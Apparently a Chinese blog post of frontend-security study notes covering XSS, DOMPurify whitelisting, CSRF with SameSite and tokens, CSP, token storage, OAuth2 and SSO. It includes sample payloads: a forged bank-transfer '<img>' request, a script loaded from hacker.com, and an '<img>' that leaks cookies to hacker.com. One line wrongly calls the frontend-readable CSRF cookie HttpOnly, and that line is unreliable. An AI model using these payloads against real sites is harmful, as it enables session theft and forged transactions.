3962 字
20 分钟
Safe
2026-02-19
2026-02-19
统计加载中...

Safe#

1. XSS(跨站脚本攻击)相关#

1.1 基础原理与防护#

XSS 的攻击原理是什么?有哪些常见的防御手段?

攻击原理: XSS(Cross-Site Scripting)的核心本质是**“注入并执行”**。黑客通过各种手段,将恶意的 JavaScript 代码注入到你的网页中。当普通用户访问该页面时,浏览器会误以为这些恶意脚本是网页原本的一部分,从而执行它们。一旦脚本运行,黑客就能为所欲为:窃取用户的 Cookie/Token、监听键盘输入、伪造用户发起请求等。

根据注入方式的不同,XSS 主要分为三类:

  • 反射型 (Reflected):恶意代码通常放在 URL 参数里。服务器接收请求后,将恶意代码直接“反射”拼接在 HTML 响应中返回。常见于搜索框、错误提示等。
  • 存储型 (Stored):恶意代码被永久存储在目标服务器的数据库中(比如评论区、个人签名)。任何访问该内容的用户都会中招,杀伤力最大。
  • DOM 型 (DOM-based):纯前端的安全漏洞。前端 JS 代码在处理 URL 参数、Hash 或类似 document.referrer 等用户输入源时,未经验证直接使用 innerHTMLeval() 等危险 API 渲染到页面上触发。

基础防护手段:

  1. 输出转义 (Escaping):在将不可信数据插入 HTML 之前,将其转换为 HTML 实体(例如把 < 转成 &lt;" 转成 &quot;)。前端在使用 React/Vue 时,默认的双大括号插值 ({{}}{}) 已经自带了这层转义防护。
  2. 使用 HttpOnly Cookie:在服务端设置 Cookie 时加上 HttpOnly 属性,这样前端 JS(例如 document.cookie)就无法读取该 Cookie,即使发生了 XSS,黑客也偷不到身份凭证。
  3. 开启 CSP(内容安全策略):建立白名单,告诉浏览器只能加载和执行指定来源的脚本。

1.2 富文本过滤策略#

在处理富文本内容时,如何制定标签过滤策略?

  • 面对“转义会导致页面直接显示 HTML 源码”和“直接移除容易产生误杀”的矛盾,应该如何平衡?
  • 在实际业务中,如何合理配置 DOMPurify 这类库来实现既安全又不破坏渲染体验的过滤?

我们在编辑器里打字和排版时,其实产生了两种完全不同的数据:

  1. 真正的 HTML 标签:比如你把一段字加粗、标红,编辑器会在底层生成 <span style="color: red; font-weight: bold;">文本</span>。这是用来渲染样式的。
  2. 用户输入的纯文本:比如用户在文章里故意打出 <script> 这几个字符(仅仅是想作为文本展示)。编辑器在保存时,会自动把它转义成 &lt;script&gt;

理解了这一点,配置 DOMPurify 的思路就极其清晰了:让 DOMPurify 认识并放行第 1 种(安全的排版标签),同时它本身就不会去破坏第 2 种(已经被编辑器转义好的纯文本字符)。

下面是一套实际业务中最常用、也最稳妥的 DOMPurify 配置模板

第一步:明确你的业务需要哪些排版标签(白名单)#

不要偷懒使用默认配置,建议根据你使用的富文本编辑器(比如 Quill、WangEditor)的工具栏功能,精准定制 ALLOWED_TAGS(允许的标签)和 ALLOWED_ATTR(允许的属性)。

import DOMPurify from 'dompurify';
const config = {
// 1. 只放行基础排版、表格、媒体等必要的标签
ALLOWED_TAGS: ['p','br','b','i','em','strong','a','span','div', // 基础排版
'img','video','audio', // 媒体
'ul','ol','li', // 列表
'table','thead','tbody','tr','th','td', // 表格
'h1','h2','h3','h4','h5','h6', // 标题
'pre','code','blockquote', // 代码块与引用
],
// 2. 只放行这些标签可能用到的安全属性
ALLOWED_ATTR: [
'href','src','alt','title','target', // 链接和图片常用
'class','style', // 允许携带 class 和内联样式(重要!)
'controls','width','height', // 媒体元素常用
],
// 3. 禁止将任何未知的协议作为 URL(防止 javascript:alert(1) 这种注入)
ALLOW_UNKNOWN_PROTOCOLS: false,
};
const cleanHTML = DOMPurify.sanitize(dirtyHTML, config);

第二步:解决“样式”与“安全”的冲突#

“放行了 style 属性,黑客能不能在里面写恶意的 CSS 表达式?” DOMPurify 当你允许了 style 属性时,底层自带了一个非常严苛的 CSS 解析器:

  • 它会保留 color: red; font-size: 16px; 这种安全的样式。
  • 它会自动剔除类似 background-image: url("javascript:...") 这种有执行风险的危险样式。

所以,只要你像上面那样配置了 ALLOWED_ATTR: ['style'],富文本的渲染体验就不会被破坏(红字依然是红字),同时也是安全的。

第三步:处理特殊的业务需求(利用 Hook)#

在真实业务中,我们通常要求文章里的超链接 <a href="..."> 必须在新窗口打开(target="_blank"),并且为了防止钓鱼攻击,必须加上 rel="noopener noreferrer"。单纯靠白名单做不到这种“修改”操作,需要借助 DOMPurify 的 Hook 机制介入过滤过程:

// 在执行 sanitize 之前,注册一个全局 Hook
DOMPurify.addHook('afterSanitizeAttributes', function (node) {
if (node.tagName === 'A') {
node.setAttribute('target', '_blank');
node.setAttribute('rel', 'noopener noreferrer');
}
});
const cleanHTML = DOMPurify.sanitize(dirtyHTML, config);

总结示例#

  • 场景:用户在富文本里写了一段展示用的代码 <script>alert(1)</script>
  • 富文本编辑器在输出 HTML 时,会将其编码为:<pre><code>&lt;script&gt;alert(1)&lt;/script&gt;</code></pre>
  • 脏 HTML 经过 DOMPurify 配置后:<pre><code> 在白名单里保留;里面的 &lt;script&gt; 只是普通文本,DOMPurify 不会动它。
  • 最终结果:渲染体验完美,页面上显示出 <script> 的源码且未被执行;其他加粗、标红的标签也正常渲染。

这套基于白名单 + 适度保留 style + Hook 改造的策略,基本能覆盖 95% 以上前端富文本的防 XSS 需求。


2. CSRF(跨站请求伪造)相关#

2.1 基础原理与攻击链路#

什么是 CSRF?请详细描述一次完整的 CSRF 攻击过程。

CSRF (Cross-Site Request Forgery) 的本质是“借刀杀人”。黑客根本不需要窃取你的账号密码,他只是利用了浏览器会自动携带 Cookie 的机制,冒充你去执行某些敏感操作。

经典 CSRF 攻击场景(以银行转账为例):

  1. 登录受信任网站:你在浏览器里登录了正规的银行网站 bank.com。登录成功后,服务器在你的浏览器里种下了一颗代表你身份的 Cookie(且此时你没有关掉这个网页)。
  2. 误入危险境地:你不小心点开了一个黑客发来的恶意链接,进入了黑客的网站 hacker.com。
  3. 发起伪造请求:黑客的网站里埋伏好了一段代码,比如隐藏表单或图片:<img src="http://bank.com/transfer?toAccount=hacker&amount=10000">
  4. 浏览器“助纣为虐”:只要向 bank.com 发起请求,浏览器就会自动带上属于 bank.com 的 Cookie。哪怕这个请求是从 hacker.com 发起的!
  5. 攻击达成:银行服务器收到了转账请求和你的合法 Cookie,认为凭证正确、是用户本人操作,于是钱被转走。

在 Cookie 层面可以采取哪些具体的防范措施(例如 SameSite 等)?

在服务端设置 Cookie 时,可以加上 SameSite 字段,用来告诉浏览器:“跨站发请求时,要不要带上这个 Cookie?”

  • SameSite=Strict(最严格):完全禁止第三方网站携带 Cookie。只要请求不是从 bank.com 页面发出的,Cookie 绝对不带。安全度最高,但体验较差(从外部链接点进系统可能让用户重新登录)。
  • SameSite=Lax(现代浏览器默认):宽松模式。普通页面跳转(如 <a> 点链接、GET 表单)会带 Cookie;但 AJAX/Fetch、<img> 加载、POST 表单等一律拦截 Cookie。能防御绝大部分 CSRF 攻击。
  • SameSite=None:不管跨不跨站都带 Cookie(必须配合 Secure 在 HTTPS 下使用)。

2.3 CSRF Token 机制深究#

CSRF Token 的下发时机是什么时候?前端如何获取?黑客有没有可能获取到?

方案 A:双重 Cookie 验证

  1. 下发时机:用户登录成功后,服务端除设置用于身份认证的 sessionId Cookie(HttpOnly)外,再额外下发一个专门防 CSRF 的 Cookie(如 csrf_token设 HttpOnly)。
  2. 前端怎么取:通过 document.cookie 读出 csrf_token
  3. 怎么发给后端:把读到的 token 塞到请求头,如 X-CSRF-Token: xxx
  4. 后端验证:对比“请求头里的 Token”和“Cookie 里的 Token”。一致则合法。
  5. 为什么安全? 黑客的网站能让浏览器自动带上 Cookie,但无法用 JS 读取你的 Cookie(同源策略),也就无法把 Token 塞进请求头。后端发现请求头没有 Token 即拦截。(这也是 Axios 里 xsrfCookieNamexsrfHeaderName 的工作原理。)

方案 B:同步器 Token 模式 (Synchronizer Token)

  1. 下发时机:服务端在渲染页面时把 Token 写在 HTML 的 <meta> 里,或 SPA 在登录后的第一个初始化接口里获取。
  2. 前端怎么取:存在内存、Vuex/Redux 或 LocalStorage。
  3. 发送机制:每次 AJAX 在请求头带上。Token 不在 Cookie 里,跨站请求自然带不上。

方案对比: SameSite 在底层防御,不需改业务代码,是现代首选。Token 方案则强制要求前端提供一个“黑客无法通过跨站自动带上”的凭证,比只校验 Referer 更严谨,也不会因用户隐藏 Referer 而产生误杀。


3. CSP(内容安全策略)相关#

3.1 策略与应用#

什么是 CSP?它的核心策略有哪些,是如何帮助防御 XSS 等安全风险的?

1. CSP 的核心本质:浏览器的“白名单”机制#

过去浏览器只要 HTML 里写了 <script src="xxx"><img src="yyy"> 就会去加载执行,给了黑客可乘之机。CSP 的本质是:由服务端(或前端 Meta 标签)告诉浏览器,当前页面只允许从哪些合法域名加载资源,其余一律封杀。

2. CSP 的配置方式#

  • 方式一(推荐):HTTP 响应头 Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.com;
  • 方式二:HTML <meta> 标签(放在 <head> 最前) <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*;">

3. 核心策略指令#

  • default-src:全局兜底。'self' 表示只允许同源资源。
  • script-src:防 XSS 的核心,指定可执行脚本的来源。若配置 script-src 'self',注入的 <script src="https://hacker.com/xss.js"> 会被浏览器拒绝加载。
  • style-src:指定 CSS 来源。
  • img-src:指定图片来源,可防止数据通过 <img src="http://hacker.com/log?cookie=xxx"> 外泄。
  • connect-src:限制 AJAX、Fetch、WebSocket 的目标地址。

4. CSP 如何强化防 XSS#

  • 禁止外链脚本:不在白名单的域名,.js 无法加载。
  • 禁止内联脚本:开启 CSP 后,<script>alert(1)</script><button onclick="alert(1)"> 等会被拒绝执行,除非显式开启 'unsafe-inline'
  • 禁止动态执行:默认封杀 eval()setTimeout('string') 等,除非开启 'unsafe-eval'。 现代 CSP 支持用 noncehash 对合法的内联脚本单独授权,既安全又灵活。

总结:CSP 是“防御深度”的体现。即使存在注入漏洞,只要策略足够严格,恶意脚本也无法加载、执行或把数据发出去。


4. 身份认证与 Token 安全#

4.1 Token 存储位置#

身份认证的 Token 应该放在哪里最合适(Cookie、LocalStorage 还是内存)?各自的安全隐患是什么?

存储位置
机制与优势
主要隐患
**LocalStorage / SessionStorage**
登录后存 Token,请求时塞进 `Authorization: Bearer `。天然防 CSRF(不会自动携带)。
XSS 可执行 `localStorage.getItem('token')`,Token 一旦泄露即可接管账号。
**Cookie**
后端 Set-Cookie 下发;配 HttpOnly 防 XSS 读取,Secure 防窃听。
每次请求自动携带,易被 CSRF 利用(若 SameSite 等未配好)。
**内存 (Memory)**
存于 Pinia/Redux/Context 或闭包变量,不写本地存储。防 CSRF(不自动带)+ 防 XSS 窃取(难从作用域打捞)。
刷新即丢失,用户被登出,单纯内存方案难以落地。


4.2 业界最佳实践:双 Token + 混合存储(无感刷新)#

  1. Access Token(短效,如 15 分钟)

    • 存于前端内存(Pinia / Redux / JS 变量)。
    • 每次业务请求在 Header 里携带。
    • 寿命短 + 在内存,极难窃取;即便 XSS 泄露,很快过期。
  2. Refresh Token(长效,如 7 天)

    • 存于 HttpOnly + Secure + SameSite=Strict 的 Cookie。
    • 当 Access Token 过期或页面刷新导致内存 Token 丢失时,前端调 /refresh_token 用 Refresh Token 换新的 Access Token 放回内存。
    • HttpOnly 防 XSS 窃取,SameSite 防 CSRF;该 Token 仅用于换 Access Token。

建议

  • 内部后台、安全要求一般:LocalStorage + 基础 XSS 防护(如 DOMPurify)即可。
  • 对外 C 端敏感业务(金融、电商):必须采用 内存 (Access Token) + HttpOnly Cookie (Refresh Token) 的架构。

4.3 OAuth2 流程#

OAuth2.0 的授权流程是怎样的?

本质:一把“受限制的备用钥匙”——不交账号密码,只给第三方有限权限的 Token。典型场景:微信扫码登录第三方网站。

四个角色(以“第三方阅读器支持微信登录”为例):

  1. 资源拥有者 (Resource Owner):用户本人。
  2. 客户端 (Client):第三方阅读器的前后端。
  3. 授权服务器 (Authorization Server):微信的登录授权中心(核身份、发 Token)。
  4. 资源服务器 (Resource Server):微信的用户数据中心(认 Token 不认人)。

授权码模式 (Authorization Code Flow) 五步:

  1. 前端引导跳转:点击“微信登录”,重定向到微信授权地址,带 client_idredirect_uriscope
  2. 用户同意授权:在微信域名下同意授权。
  3. 发放授权码并重定向:微信生成短效 code,302 重定向回 redirect_uri?code=abc123xyz(不直接给 Token)。
  4. 后端用 Code 换 Token:前端把 code 交给后端,后端带 code + client_secret 向微信请求,换取 Access Token(及可选 Refresh Token)。client_secret 仅存后端,前端不可见。
  5. 后端用 Token 换用户信息:后端拿 Access Token 请求微信资源服务器,拿到头像、昵称等,在本站创建/关联账号并下发本站登录状态。

为什么用 Code 而不是直接把 Token 放在 URL? 若 Token 直接挂在回调 URL(隐式模式),一旦有 XSS、恶意插件或中间人,Token 即暴露。Code 换 Token 发生在后端与微信服务器之间,前端至多拿到 code,没有 client_secret 无法换 Token,从而把风险隔离在后端。


4.4 单点登录(SSO)流程#

SSO 的授权流程是怎样的?

第一阶段:首次访问 App A(都未登录)

  1. 访问 A → 无局部会话,重定向到 SSO:https://sso.com/login?redirect=AppA
  2. SSO 发现无全局会话,要求输入账号密码。
  3. 用户登录成功 → SSO 在 sso.com 下种全局会话 Cookie,生成临时门票 (Ticket),重定向回 A:https://AppA.com/callback?ticket=123
  4. App A 后端拿 ticket 向 SSO 验票,确认用户身份后,在 A 的域名下种 Cookie/发 Token(建立局部会话)。用户登录 App A 完成。

第二阶段:访问 App B(免密登录)

  1. 访问 B → B 发现无局部会话,重定向到 SSO:https://sso.com/login?redirect=AppB
  2. 浏览器访问 sso.com 时自动带上第一阶段种下的全局 Cookie。
  3. SSO 发现已有全局会话,不再展示登录页,直接生成给 B 的新 ticket,重定向回 B:https://AppB.com/callback?ticket=456
  4. App B 后端验票,建立局部会话。用户无需再输入密码即登录 B。

总结与关联:SSO 的 ticket 验票机制与 OAuth2 的 code 换 Token 类似——都是前端重定向到认证中心,在安全侧验证身份,再由后端持票据核验,避免敏感凭证在前端暴露。区别在于:OAuth2 用于“授权第三方拿数据”,SSO 用于“同一体系内多系统共享登录状态”。


5. 代码安全相关#

5.1 代码混淆与检测#

前端代码混淆与混淆检测的具体实现细节是怎样的?与业界常规做法有何差异?

  • javascript-obfuscator:用于代码混淆、反调试等。
  • 可结合具体项目说明:混淆策略(变量名、控制流、字符串编码等)、检测手段(AST、特征匹配等)与业界方案(如 Terser 仅压缩、专业混淆器做保护)的差异。

文档结束